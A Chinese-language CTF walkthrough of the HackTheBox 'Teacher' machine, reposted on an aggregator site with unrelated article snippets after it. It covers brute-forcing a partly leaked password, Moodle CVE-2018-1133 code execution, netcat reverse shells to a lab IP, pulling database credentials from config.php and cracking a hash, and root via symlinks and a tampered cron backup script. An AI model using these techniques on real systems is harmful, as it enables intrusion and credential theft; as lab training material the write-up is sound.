HACKTHEBOX——Teacher

news/2024/4/29 4:17:37/文章来源:https://blog.csdn.net/weixin_45557138/article/details/129286730

nmap

nmap -sV -sC -p- -T4 -oA nmap 10.10.10.153

nmap只发现了对外开放了80端口,从http-title看出可能是某个中学的官网

http

打开网站确实是一个官网,查看每个接口看看有没有可以利用的地方

发现了一个接口,/images/5.png,但是响应包中却是一段文字

这个Giovanni写忘记了密码的最后一个字符,很有可能是想要我们去暴力破解,Th4C00lTheacha,再添加最后一个字符,从a-z,A-Z,0-9,在加上常用标点符号,生成一组密码,找到登录口后暴力破解进入后台,尝试admin/administrator等常见后台登录接口也没反应,直接扫描网站目录吧

暴力破解

gobuster dir -u http://10.10.10.153/ -w /usr/share/wordlists/dirb/big.txt -o gobuster

最终发现了这些接口

其中尝试访问/moodle接口时,跳转到teacher.htb,尝试将该域名添加至/etc/hosts

再次访问该页面,得到如下结果,看起来像是老师用的界面,wappalyzer显示这个moodle是一个LMS,可以尝试获取版本信息后查阅相关漏洞。之前的用户Giovanni可能是一个老师,右上角有一个登录按钮,尝试使用刚才得到的用户名和残缺的密码暴力破解登录系统

首先将登录时的数据包发送至burpsuite的intruder,在密码的最后一位添加替换位$password$,之后burpsuite便会自动替换这一位的字符

设置payloads为a-z,A-Z,0-9,常见字符,先试一下,可以看到#相应长度不同于其他

尝试使用Giovanni/Th4C00lTheacha#登录系统,成功登陆

使用moodlescan扫描一下目标网站,看看能不能发现一些东西

python3 moodlescan.py -k-u http://moodle.example.com/<moodle_path>/

扫描结果如下,发现系统使用的moodle版本为3.4.1

cve-2018-1133

Moodle 允许教师设置包含多种问题的测验。其中包括计算问题,它允许教师输入一个数学公式,该公式将由 Moodle 对随机输入变量进行动态评估。这可以防止学生作弊并简单地分享他们的结果。例如,教师可以键入 什么是 {x} 添加到 {y}?答案公式为 {x}+{y}。 Moodle 然后会生成两个随机数,并将它们插入问答文本中的 占位符 {x} 和 {y} (例如3.9+2.1)。 最后,它将通过调用安全敏感的 PHP 函数来 评估答案 6.0eval() 以其恶意潜力而闻名的公式输入,因为它允许执行任意 PHP 代码。

查看https://www.sonarsource.com/blog/moodle-remote-code-execution/文章获取更多信息

开始复现该漏洞,首先肯定是要登录系统

  1. 前往Site home–> 点击Algebra–> 点击Turn editing on

  1. 点击Add an activity or resource->点击Quiz->Add

  1. 随便写点东西然后点击保存,save and return to course,比如我创建了一个名为test的quiz

  1. 点击test进入,然后选择编辑edit quiz

  1. 进入编辑后,选择add,在选择a new question,类型选择calculated,点击add添加

  1. 然后将上文链接文章中的代码写入answers中,还要选择100%,负责会报错

  1. 然后点击save changes保存配置,下一个页面无需修改内容直接点击next page即可,在跳转至下一个页面即可使用“0=”来执行远程代码,使用nc -e /bin/bash 10.10.*.* 4444将shell传递给kali(kali提前监听端口)

www-data

拿到一个www-data权限的shell,用python获取一个交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在网站根目录中发现了很多config文件,打开看看

在config.php中可以看到数据库相关信息

使用查到的数据库信息登录mysql

use moodle;使用moodle数据库,里面有一张叫mdl_user的表,其中存储着用户信息,查看表,发现列名username和password

查看username和password内容

其中最后一行Giovannibak的密码像是使用了md5加密,解密得到密码为expelled

查看/etc/passwd发现并没有用户叫Giovannibak,再加上bak很可能意味着这个密码是giovanni用户的备用密码,尝试使用改密码切换至giovanni用户,成功

链接到用户后,我们可以找到user.txt并查看

giovanni→root

在giovanni目录下,进入tmp目录,发现backup_courses.tar.gz每分钟都在运行,似乎是参与了一个cron job,且该文件属于root用户

向靶机上传pspy工具,检索所有的cron job

查看backup.sh的内容。进入work目录,将课程目录添加到tmp/backup_courses.tar.gz中,然后进入tmp目录,解压文件,并将tmp中所有文件权限设置为777

脚本由root用户创建,不能修改

chmod 从不更改符号链接的权限;chmod 系统调用无法更改其权限。这不是问题,因为从不使用符号链接的权限。但是,对于命令行中列出的每个符号链接,chmod 都会更改指向文件的权限。相反,chmod 忽略递归目录遍历期间遇到的符号链接

在~/work/tmp中创建链接:

尝试在脚本中追加"nc -e /bin/bash 10.10.14.14 1111" >> /usr/bin/backup.sh

开启监听,等待任务执行后,就能收到一个shell,然后就可以查看flag了

over!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_75901.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【计算机二级python】综合题目

计算机二级python真题 文章目录计算机二级python真题题目一&#xff1a;全球大学排名题目二&#xff1a;红楼梦题目一&#xff1a;全球大学排名 在省略号处填写一行或多行代码&#xff0c;完成如下功能‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‫‬‭‬‪‬‪…

web,h5海康视频接入监控视频流记录三(后台node取流)

前端vue&#xff0c;接入ws视频播放 云台控制 &#xff0c;回放预览&#xff0c;都是需要调对应的海康接口。相当于&#xff0c;点击时&#xff0c;请求后台写好的接口&#xff0c;接口再去请求海康的接口 调用云台控制是&#xff0c;操作一次&#xff0c;不会自己停止&#x…

SpringBoot+Nacos+OpenFeign环境搭建

目录 1.boot方式nacos与openFeign集成 1.引入依赖 2.添加配置 3.测试接口调用 4.常见问题&#xff1a; 1.版本依赖 2.nacos客户端 2.cloud方式nacos与openFeign集成 1.引入依赖 2.添加配置 3.接口定义 4.开启FeignClients客户端 5.远程接口测试 6.Nacos配置中心 1…

【谷粒学院】微信扫码登录(199~206)

199.OAuth2介绍 OAuth2是什么&#xff1f; OAuth2是针对特定问题的一种解决方案 主要可以解决两个问题&#xff1a;开放系统间授权、分布式访问问题 一、OAuth2解决什么问题 1、OAuth2提出的背景 照片拥有者想要在云冲印服务上打印照片&#xff0c;云冲印服务需要访问云存储服…

算法训练营 day63 单调栈 下一个更大元素II 接雨水

算法训练营 day63 单调栈 下一个更大元素II 接雨水 下一个更大元素II 503. 下一个更大元素 II - 力扣&#xff08;LeetCode&#xff09; 给定一个循环数组 nums &#xff08; nums[nums.length - 1] 的下一个元素是 nums[0] &#xff09;&#xff0c;返回 nums 中每个元素的…

Jenkins(二):Jenkins插件安装

目录 一、Jenkins汉化 二、配置Jenkins插件 一、Jenkins汉化 1、登录进Jenkins&#xff0c;点击“Manage Jenkins”菜单&#xff0c;选择“Manage Plugins”。 2、点击“Available plugins”&#xff0c;搜索“Chinese”,然后点击“立即下载&#xff0c;安装后重启”。 二、…

计算机网络--网络层 IPv4地址概述(day05)

网络层 网络层提供的两种服务 IPv4地址概述 IPv4地址就是给因特网(Internet)上的每一台主机(或路由器&#xff09;的每一个接口分配一个在全世界范围内是唯一的32比特的标识符 IPv4地址的编址方法经历了如下三个历史阶段&#xff1a; 分类编址 1981划分子网 1985无分类编址…

元宇宙如何在未来5年影响你的业务

自新冠疫情暴发以来&#xff0c;虽然数字经济的和实体经济受到了严重的冲击和影响&#xff0c;但这也加速了元宇宙在全球的发展。区块链、数字资产和非同质化代币&#xff08;NFTs&#xff09;的兴起进一步推动了世界对元宇宙的需求。元宇宙被定义为用户可以在其中进行互动的虚…

全网资料最全Java数据结构与算法-----算法分析

算法分析 研究算法的最终目的就是如何花更少的时间&#xff0c;如何占用更少的内存去完成相同的需求&#xff0c;并且也通过案例演示了不同算法之间时间耗费和空间耗费上的差异&#xff0c;但我们并不能将时间占用和空间占用量化&#xff0c;因此&#xff0c;接下来我们要学习…

【微信小程序】-- WXSS 模板样式- 全局样式和局部样式(十四)

&#x1f48c; 所属专栏&#xff1a;【微信小程序开发教程】 &#x1f600; 作  者&#xff1a;我是夜阑的狗&#x1f436; &#x1f680; 个人简介&#xff1a;一个正在努力学技术的CV工程师&#xff0c;专注基础和实战分享 &#xff0c;欢迎咨询&#xff01; &…

前端开发规范,你真的了解吗?一起来学习一下前端开发规范,让你的代码高级起来!

代码规范 1 编码风格规范 1.1 使用ES6风格编码源码 定义变量使用let ,定义常量使用const 使用export &#xff0c;import 模块化 1.2 组件 props 原子化 提供默认值 使用 type 属性校验类型 使用 props 之前先检查该 prop 是否存在 1.3 避免 this.$parent 1.4 谨慎使用 …

服装销售管理系统的实现

技术&#xff1a;Java、JSP等摘要&#xff1a;随着我国市场经济的发展和人们对服装产品需求的迅速增加&#xff0c;服装行业正处于一个高速发展的时期。行业的快速发展必然导致竞争的加剧&#xff0c;要想在激烈的时常竞争中谋求发展&#xff0c;客观上要求企业必须加强管理&am…

深入理解Storm 之 TridentStrom

从Demo讲起: FixedBatchSpout spout new FixedBatchSpout(new Fields("sentence"), 3, new Values("the cow jumped over the moon"),new Values("the man went to the store and bought some candy"),new Values("four score and seven …

环境搭建02-Ubuntu16.04 安装CUDA和CUDNN、CUDA多版本替换

1、CUDA安装 &#xff08;1&#xff09;下载需要的CUDA版本 https://developer.nvidia.com/cuda-toolkit-archive &#xff08;2&#xff09;安装 sudo sh cuda_8.0.61_375.26_linux.run&#xff08;3&#xff09;添加环境 gedit ~/.bashrc在文件末尾添加&#xff1a; ex…

【JVM】垃圾收集器理论算法

垃圾收集算法 垃圾收集算法是内存回收的方法理论&#xff08;理论方法&#xff0c;并未实际实现&#xff09; 分代收集理论 JVM虚拟机的垃圾收集是采用分代收集算法&#xff0c;根据对象的存活周期的不同将内存分块。java将堆分为新生代和老年代,就可以根据不同年龄的不同特点…

【Linux】理解文件系统

文章目录理解文件系统了解磁盘结构inode理解文件系统 了解磁盘结构 磁盘是计算机中的一个 机械设备 这个磁盘的盘片就像光盘一样,数据就在盘片上放着, 但是光盘是只读的,磁盘是可读可写的 机械硬盘的寻址的工作方式: 盘片不断旋转,磁头不断摆动,定位到特定的位置 我们可以把…

怕被AI取代快想办法“攒”个“数字第二大脑”

每日经济新闻发文:来自央视财经微博2月27日消息,美国《财富》杂志网站近日报道,美国一家提供就业服务的平台对1000家企业进行了调查。结果显示,美国最新调查显示50%企业已在用ChatGPT,其中48%已让其代替员工,有公司省下10多万美元!还有30%表示,有计划使用。

【IoT】2023裁员潮还在继续,构建规划能力也许是一剂良方

今天要分享的主题是华为的市场管理方法论。 市场管理这个词总体来说还是有些抽象&#xff0c;本质上来看或者说从个人的角度来看&#xff0c;其实就是一种规划的能力。 无论是创业&#xff0c;还是作为职场人&#xff0c;规划能力必将是你不可或缺的一种基础能力。 尤其是在这样…

某马程序员NodeJS速学笔记

文章目录前言一、什么是Node.js?二、fs文件系统模块三、Http模块四、模块化五、开发属于自己的包模块加载机制六、Express1.初识ExpressGET/POSTnodemon2.路由模块化3.中间件中间件分类自定义中间件4. 跨域问题七、Mysql模块安装与配置基本使用Web开发模式Session认证JWT八、m…

八、异步编程

文章目录异步编程FutureTask应用&源码分析FutureTask介绍FutureTask应用FutureTask源码分析FutureTask中的核心属性FutureTask的run方法FutureTask的set&setException方法FutureTask的cancel方法FutureTask的get方法FutureTask的finishCompletion方法CompletableFuture…